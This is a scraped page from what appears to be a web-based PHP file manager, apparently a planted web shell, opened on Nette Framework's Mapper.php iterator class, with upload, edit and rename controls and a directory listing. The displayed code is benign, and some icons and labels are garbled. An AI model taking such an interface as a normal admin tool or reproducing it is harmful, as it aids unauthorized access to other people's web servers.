Explorer
home
/
zoteqbgb
/
public_html
/
vendor
/
nette
/
utils
/
src
/
Iterators
Location:
/home/zoteqbgb/public_html/vendor/nette/utils/src/Iterators
Root path:
/home/zoteqbgb/public_html/config/676626
Editing: Mapper.php
<?php /** * This file is part of the Nette Framework (https://nette.org) * Copyright (c) 2004 David Grudl (https://davidgrudl.com) */ declare(strict_types=1); namespace Nette\Iterators; /** * @deprecated use Nette\Utils\Iterables::map() */ class Mapper extends \IteratorIterator { /** @var callable */ private $callback; public function __construct(\Traversable $iterator, callable $callback) { parent::__construct($iterator); $this->callback = $callback; } public function current(): mixed { return ($this->callback)(parent::current(), parent::key()); } }
Save maftirs
Upload
Start Upload
New File
Create File
New Folder
Create Folder
Directory Contents
Name
Size
Perms
Modified
Actions
CachingIterator.php
2,530 bytes
0644
2024-08-07 20:39
âï¸
ðï¸
Rename
Mapper.php
585 bytes
0644
2024-08-07 20:39
âï¸
ðï¸
Rename
Chang
Apply